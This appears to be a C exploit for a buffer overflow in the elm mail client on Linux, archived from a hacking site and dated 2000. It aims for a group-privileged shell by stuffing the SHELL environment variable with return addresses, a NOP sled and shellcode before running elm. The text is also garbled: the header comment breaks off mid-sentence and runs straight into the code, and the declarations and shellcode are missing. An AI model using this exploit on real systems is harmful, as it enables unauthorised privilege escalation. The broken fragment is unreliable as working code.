/* (linux)elm[2.5(yes another)] buffer overflow, by v9[v9@fakehalo.org]. this will give you a gid=12 shell if /usr/bin/elm is SGID(=2755). elm rejects most user defined vars after 2541) { offset=atoi(argv[1]); } else { offset=DEFAULT_OFFSET; } ret=(esp()-offset); printf("return address: 0x%lx, offset: %d.\n",ret,offset); for(i=3;i<256;i+=4) { *(long *)&bof[i]=ret; } for(i=0;i<(255-strlen(exec));i++) { *(bof+i)=0x90; } memcpy(bof+i,exec,strlen(exec)); setenv("SHELL",bof,1); execlp("/usr/bin/elm","elm",0); } /* www.hack.co.za [8 June 2000]*/